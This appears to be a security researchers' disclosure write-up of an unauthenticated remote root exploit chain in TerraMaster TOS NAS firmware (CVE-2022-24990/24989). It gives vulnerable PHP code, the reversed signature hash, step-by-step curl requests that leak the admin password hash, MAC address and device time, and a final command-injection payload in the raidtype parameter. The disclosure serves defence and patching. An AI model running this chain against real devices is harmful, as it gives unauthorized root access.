CVE-2022-24990: TerraMaster TOS unauthenticated remote command execution via PHP Object Instantiation


This report explains how researchers at Octagon Networks were able to chain two interesting vulnerabilities to achieve unauthenticated remote command execution as root on TerraMaster NAS devices running TOS version 4.2.29. Patches are distributed for 4.2.31 now.

Analyzing the PHP files

After downloading the installation package of the latest TOS package from the official download site and extracting it using binwalk, we can see the platform uses nginx server with PHP scripts. The PHP scripts are encrypted on disk. After decrypting them and analyzing their content, there is an interesting php script – /usr/www/module/api.php.

The script starts parsing the uri components in the following manner.

$in = router(); 
$URI = $in['URLremote']; 
if (!isset($URI[0]) || $URI[0] == '') 
  $URI[0] = $default_controller; 
if (!isset($URI[1]) || $URI[1] == '') 
  $URI[1] = $default_action; 

define('Module', $URI[0]); 
define('Action', $URI[1]); 
$class = Module; 
$function = Action;

The router function parses the get parameters and assigns them in such a way that if the request is http://target/module/api.php?XXXX/YYYY, then $class will be XXXX, and $function is YYYY.

It then checks if the function is in an array of NO_LOGIN_CHECK, and if it’s not, it sets REQUEST MODE to 1. This will be important detail for the exploit later.

if (!in_array($function, $GLOBALS['NO_LOGIN_CHECK'])) { 
      define('REQUEST_MODE', 1); 
} else { 
      define('REQUEST_MODE', 0); 

It then instantiates the class stated by $class and calls the method stated by $function.

$instance = new $class(); 
if (!in_array($function, $class::$notHeader)) { 
   $instance->output("Illegal request, timeout!", 0); 
} $instance->$function();

One thing to notice here is that the line if (!in_array($function, $class::$notHeader)) {. If our function is not in an array by the name of $notHeadeer, then a check will be made. It takes the TIMESTAMP http header and passes it to a function called tos_encrypt_str, and compares the output of the function to the value in SIGNATURE http header. It then checks if the timestamp is not older than 5 minutes. The tos_encrypt_str is a custom hashing function, which we will come to analyze later to figure out how SIGNATURE is created.

Looking for php scripts which have classes which can be invoked this way, I came across /usr/www/include/class/mobile.class.php. To start off, it has two arrays of method name, $notCheck and $notHeader.

static $notCheck = [ 
        "webNasIPS", "getDiskList", "createRaid", "getInstallStat", 
        "getIsConfigAdmin",  "setAdminConfig", "isConnected", 'createid', 
        'user_create',  'user_bond', 'user_release', 'login', 
        'logout', 'checkCode', "wapNasIPS" 
static $notHeader = [
        "fileDownload", "videoPlay", "imagesThumb", 
        "imagesView", "fileUpload", "tempClear", 
        "wapNasIPS", "webNasIPS", "isConnected"

Then it makes three check in its constructor.

if (!in_array(Action, self::$notHeader)) { 
        $this->output("Illegal request, please use genuine software!", false); 

The first check ensures that if the method name invoked is not in $notHeader array, it tests whether the user-agent http header is ‘TNAS’ and AUTHORIZATION header is equal to $this->REQUESTCODE. Otherwise it exits with an error message. The AUTHORIZATION header will be important later on. For now, let’s proceed to the second check.

   if (!isset($_SESSION)) { 
     $this->output("session write error!", false); 
   } else { 
     $this->user = &$_SESSION['kod_user']; 
   if (isset($this->in['PHPSESSID'])) { 
     $this->sessionid = $this->in['PHPSESSID']; 

if REQUEST_MODE is set, then it checks whether the user is logged in. Otherwise it will exit. And the final check:

if (!in_array(Action, self::$notCheck)) { 
     if (!$this->loginCheck()) { 
          $this->output("login is timeout", 0); 

It checks whether the method name is in $notCheck, and exits with an error if it’s not.

Severe Information Leak: CVE-2022-24990

So, with the knowledge of the two php script chains, we know that the seven functions “webNasIPS”, “getDiskList”, “createRaid”, “getInstallStat”, “getIsConfigAdmin”, “setAdminConfig”, “isConnected” are in NO_LOGIN_CHECK array in api.php, and will set REQUEST_MODE to 0, passing one of the checks in mobile.class.php. And upon further checking these functions, webNasIPS is the only function which is both in $notCheck and $notHeader arrays of mobile.class.php‘s constructor, which effectively can pass two remaining checks. Let’s call webNasIPS and see what it returns.

$ curl -vk 'http://XXXX/module/api.php?mobile/webNasIPS' -H 'User-Agent: TNAS' * Trying XXXX... * Connected to ( port 22056 (#0) 
> GET /module/api.php?mobile/webNasIPS HTTP/1.1 
> Host: 
> User-Agent: TNAS < HTTP/1.1 200 OK < Date: Mon, 10 Jan 2022 14:10:40 GMT < Content-Type: application/json; charset=utf-8 < Transfer-Encoding: chunked < Connection: keep-alive < X-Powered-By: TerraMaster * Connection #0 to host left intact {"code":true,"msg":"webNasIPS successful","data":"NOTIFY Message\nIFC:\nADDR:525400123456\nPWD:$1$2kc1Zqe8$gighkBlDDDFHpG3RkZtws1\nSAT:1\nDAT:[{\"hostname\":\"ubuntu1604-aarch64\",\"firmware\":\"TOS3_A1.0_4.2.17\",\"sn\":\"\",\"version\":\"2110301418\"},{\"network\":\"eth0\",\"ip\":\"\",\"mask\":\"\",\"mac\":\"52:54:00:12:34:56\"},{\"service\":[{\"name\":\"http_ssl\",\"url\":\"\",\"port\":\"5443\"},{\"name\":\"http\",\"url\":\"XXXX\",\"port\":\"8181\"},{\"name\":\"sys\",\"url\":\"XXXX\",\"port\":\"8181\"},{\"name\":\"channel\",\"url\":\"\",\"port\":0},{\"name\":\"pt\",\"url\":\"\",\"port\":0},{\"name\":\"ftp\",\"url\":\"\",\"port\":21},{\"name\":\"web_dav\",\"url\":\"\",\"port\":0},{\"name\":\"smb\",\"url\":\"\",\"port\":0}]}]","time":2.920037031173706}

It returns a lot of interesting data. Let’s look at the function webNasIPS

function webNasIPS() { 
    if (strstr($_SERVER['HTTP_USER_AGENT'], "TNAS")) { 
        $core = new core(); 
        $dataSheet[0] = [ 
            "hostname" => $core->_hostname(), 
            "firmware" => $core->_version(), 
            "sn" => $core->_system_product_name(), 
            "version" => $core->_VersionNumber() 
        $defaultgw = $core->_default_RJ45(); 
        $eth = $core->_netlist($defaultgw); 
        $dataSheet[1] = array(
            "network" => $defaultgw, 
            "ip" => $eth['ip'], 
            "mask" => $eth['mask'], 
            "mac" => $eth['mac']
        $dataSheet[2] = array("service" => $this->_getservicelist()); 
        $ifc = $_SERVER['REMOTE_ADDR']; 
        $addr = preg_replace("/[:\n\r]+/", "", file_get_contents("/sys/class/net/eth0/address")); 
        $pwd = $this->REQUESTCODE; 
        if (!file_exists("/tmp/databack/complete")) { 
            $sat = -1; 
        } else if (!empty($this->_exec("df-json | awk '/\/mnt\/md/'"))) { 
            $sat = !file_exists(USER_SYSTEM . '/install.lock') ? 2 : 1; 
        } else { 
            $sat = 0; 
        } $dat = addslashes(json_encode($dataSheet)); 
        $tpl = "NOTIFY Message\\nIFC:$ifc\\nADDR:$addr\\nPWD:$pwd\\nSAT:$sat\\nDAT:$dat"; 
        $this->output("webNasIPS successful", true, $tpl); 
    $this->output("webNasIPS failed", false, ""); 

It returns the TOS firmware version, the default gateway interface’s IP and mac address, running services with their binding address and their ports, and a variable $pwd which contains the value of $this->REQUESTCODE. Upon checking the origins of REQUESTCODE, we see that it is set in application.class.php

The _getpasswordfunctions essentially tells that REQUESTCODE is the hash of the admin password. This makes the above information leak a very dire one.

Finding an OS command injection: CVE-2022-24989

If we remember earlier, one of the checks in mobile.class.php is:

if (!in_array(Action, self::$notHeader)) { 
        $this->output("Illegal request, please use genuine software!", false); 

Since  webNasIPS gives us REQUESTCODE without authentication, we can now call from the seven functions we listed which are in NOT_LOGIN_CHECKand in $notCheck array, but NOT in $notHeader arrary. createRaid is one of the functions which fullfills this.

function createRaid() { 
    $vol = new volume(); 
    if (!isset($this->in['raidtype']) || !isset($this->in['diskstring'])){ 
        $this->output("Incomplete parameters", false); 
    $ret = $vol->volume_make_from_disks($this->in['raidtype'], $filesystem, $disks, $volume_size); 

createRaid takes two POST parameters by raidtype and diskstring and calls $vol->volume_make_from_disks with the value of raidtype as the first parameter. Let’s have a closer look at volume_make_from_disks defined in volume.class.php.

function volume_make_from_disks($level, $fs, $disks, $volume_size) { 
    $this->fun->_backexec("$_makemd -s{$volume_size} -l{$level} -b -t{$fs} {$diskItems} &"); 

It takes the first parameter and inserts it into a string to call another function $this->fun->_backexec. _backexec is a function defined in func.class.php.

function _backexec($command) { 
     if (strstr($command, "regcloud")) { 
          @system("killall -9 regcloud"); 
     $fp = popen($command, "w"); 
     if ($fp == FALSE) return FALSE; 
     return TRUE; 

_backexec function passes the parameters it receives to popen without any sanitization. Therefore, it’s vulnerable to OS command injection.

Bypassing Timestamp header checks

We have now chained the information leak (admin password hash) with an OS injection vulnerability. But we have to return to api.php timestamp header check that we said we will look at later.

$instance = new $class(); 
if (!in_array($function, $class::$notHeader)) { 
    if (tos_encrypt_str($_SERVER['HTTP_TIMESTAMP']) != $_SERVER['HTTP_SIGNATURE'] || $_SERVER['REQUEST_TIME'] - $_SERVER['HTTP_TIMESTAMP'] > 300) { 
        $instance->output("Illegal request, timeout!", 0); 

api.php ensures that if the method name is not in the class’s $notHeader array, it will check that the TIMESTAMP header is not older than 300 seconds (5 minutes), and the SIGNATURE header has to be equal to the output of tos_encrypt_str function call on the TIMESTAMP value. Now, we have three problems.

  • We have to get the time of the machine
  • We have to know how tos_encrypt_str is invoked, and call it with arbitrary value
  • We have to calculate the right TIMESTAMP in epoch time from the machine’s time regardless of time difference

Let’s start with tos_encrypt_str.

Figuring out the custom hash function

Upon searching tos_encrypt_str, we realize that it’s not defined in the PHP scripts. And after a google search, we realize that it’s not also in the default and common list of php extentions. This leads us to the conclusion that it’s a function in one of TerraMaster’s custom PHP extenstions. Listing the loaded PHP extensions:

$ php -m 

The extension sticks out. It exports one function, tos_encrypt_str.

$ php -r 'var_dump((new ReflectionExtension("php_terra_master"))->getFunctions());' 
 array(1) { 
    ["tos_encrypt_str"] => object(ReflectionFunction)
 #2 (1) { 
    ["name"]=> string(15) "tos_encrypt_str" 

Calling tos_encrypt_str will tell us that it returns a hash.

$ php php -r 'echo tos_encrypt_str("XXXX") . PHP_EOL;' 

Opening the shared object in IDA, and searching for the string tos_encrypt_str, we find out that the hashing function is sub_3738.

result = zend_parse_parameters(v3, “s”, &v8, &v10); 
if ( (_DWORD)result != -1 ) { 
   v5 = (const char *)sub_3694(&v9); 
   php_sprintf(v11, “%s%s”, v5, v8); 
   v6 = (const char *)sub_2348(v11); 
   v7 = zend_strpprintf(0LL, “%s”, v6);

It takes our string to be hashed from zend_parse_parameters, and passes it to php_sprintf (using variable v8). Before the php_sprintf call, there is a function call sub_3694, whose return value is given to the php_sprintf call as parameter, with our string. Let’s take a look at it.

__int64 __fastcall sub_3694(__int64 a1) { 
    int v2; 
    // w21 const char *v3; 
    // x0 char v5[40]; 
    // [xsp+38h] [xbp+38h] 
    BYREF v2 = socket(2, 1, 0); 
    if ( (v2 & 0x80000000) != 0 ) { 
        v3 = "socket"; 
        LABEL_5: perror(v3); 
        return 0LL; 
    strcpy(v5, "eth0"); 
    if ( (ioctl(v2, 0x8927uLL, v5) & 0x80000000) != 0 ) { 
        v3 = "ioctl"; 
        goto LABEL_5; 
    php_sprintf(a1, "%02x%02x%02x", (unsigned __int8)v5[21], (unsigned __int8)v5[22], (unsigned __int8)v5[23]); 
    return a1; 

This function gets the mac address of the interface eth0 and returns the last 3 bytes (device specific part) in hex. Then the php_sprintf in sub_3738 call formats it with our string to a final string to give it to sub_2348. Therefore, if the mac address of eth0 for a device is 55:44:33:12:34:56 and our string to be hashed is XXXX, then the final string given to the actuall hash function (sub_2348) will be 123456XXXX.

Getting the later half of the mac

tos_encrypt_str using the later half of the mac address of eth0 allows each TerraMaster device to derive different hashes for the same string. This prevents us from calling the function with arbitrary stirng, since we need the mac address.

Lucky for us, webNasIPS, which leaks the admin password hash, also gives us the mac address of the default gateway interface, which is often eth0. Armed with the later half of the mac address, we can write a small hook to call tos_encrypt_str with any string value we want to generate the hash.

function webNasIPS() { 
   $dataSheet[1] = array(
       "network" => $defaultgw, 
       "ip" => $eth['ip'], 
       "mask" => $eth['mask'], 
       "mac" => $eth['mac'

Another information leak: time of the machine

Now that we can generate the right hash for any arbitrary string for any TerraMaster device, the only remaining piece is the timestamp value. On some TerraMaster TOS devices, there is a Date header that tells us what timezone the target machine is synched to, so we can sync our time with the victim and have an accurate timestamp. However, on TerraMaster devices, it is hardened and the Date header is stripped so it is not easy for us to figure out what timezone the machine is synched to.

Upon replaying with the request, we realize that sending a request to any of these functions in a way that the result is a failure will yield the time of the machine being leaked. Here is a simple request to call createRaid with no AUTHORIZATION, TIMESTAMP and SIGNATURE headers.

$ curl -k '' | jq -r 
 "code": false, 
 "msg": "Illegal request, please use genuine software!", 
 "data": [], 
 "time": 0.00028896331787109375, 
 "ctime": "2022-01-10 23:00:38" 

In the request, there is a value of ctime, which contains the date of the machine with the 24 hour format.

Now, with all the pieces on our hand, the only remaining task is to calculate the timestamp in epoch regardless of the machine’s timezone.

Calculating the timestamp

To do this, we can use any unix timestamp calculator. These are the steps to do that.

  • We take the time of the machine from the ctime and convert it to epoch time
  • We calculate our own time (both formal and epoch) (for example: using PHP’s date functionality: php -r 'echo time() . " " . date("Y-m-d H:i:s") . PHP_EOL; ')
  • We subtract the epoch time of our machine from the target machine
  • We convert the subtraction result of the above calculation into relative time
  • We add/subtract the relative time to our machine’s formal time
  • We convert the result from the above calculation to epoch time
  • We now have the right epoch time. We calculate the hash of this epoch time using the machine’s later half of the mac
  • We invoke createRaid with our payload in raidtype


The final payload will look something like this.

$ curl -vk 'http://XXXX/module/api.php?mobile/createRaid' -H 'User-Agent: TNAS' -H 'AUTHORIZATION: $1$2kc1Zqe8$gi6hkBlDDDFHpG3RkZtws1' -d 'raidtype=;id>/tmp/a.txt;&amp;diskstring=XXXX' -H 'TIMESTAMP: 1642335373' -H 'SIGNATURE: 473a6d90ede9392eebd8a7995a0471fe' | jq -r